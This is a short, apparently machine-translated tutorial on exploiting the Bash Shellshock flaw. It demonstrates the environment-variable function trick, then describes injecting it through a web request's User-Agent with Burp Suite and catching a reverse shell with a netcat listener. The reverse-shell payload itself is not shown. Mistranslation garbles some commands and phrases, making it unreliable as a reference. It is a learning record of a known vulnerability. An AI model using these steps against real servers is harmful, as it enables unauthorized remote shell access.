Bash shell hole rebound shell_test

The principle of 0x00 broken shell loophole

Enter the inside of bash

~ Export Name= ' () {echo ' Inside name ';}; echo "Outside name";

View environment variables

~ Env|grep name
~ name= () {echo ' Inside name ';}; Echo ' outside name ';

At this point you will find that when you enter the sub shell, direct output outside name

~ Bash
~ outside name

To enter the child shell to successfully execute the code, so the problem comes
-If you can get into the sub shell in one sentence and the output can be used-
Then the smart hacker tries to construct a statement that implements this functionality.

~ Export Name= ' () {:;}; echo outside name '; bash

Enter a carriage return to directly display the contents of the output

~ Outside name

0x01 Conditions of Use
-The web calls bash because the vulnerability exists in bash inside
-The web will pass our controllable parameters to the environment variable inside
-Determine if the target bash version is vulnerable
-Able to return the return result.

0X02 Utilization Process
First login to the target site, access to the specified directory, found that indeed in the environment variable inside the user-agent we visited

Then make the construction user-agent, you can use Burpsuite grab package modification, or Firefox browser with the user agent switch plug-in to modify
I use the Burpsuite grab bag here, first set the browser's proxy

Once the configuration is complete, access the target Web page again, and the request packet will be intercepted in the burpsuite, modifying the User-agent

Of course, our goal is to bounce a shell back, need to open a terminal, and then listen to the user-agent inside the port, then open a terminal input
Nc-l-P 8888 (-l specifies port for listener mode-p)

Then click Forward (Forward) in Burpsuite and then you can see just enter nc-l-p 8888
There is a shell that does not belong to itself, and here it succeeds in bouncing off a shell

The first serious record of the process, Daniel Bypass, the same as small white, common progress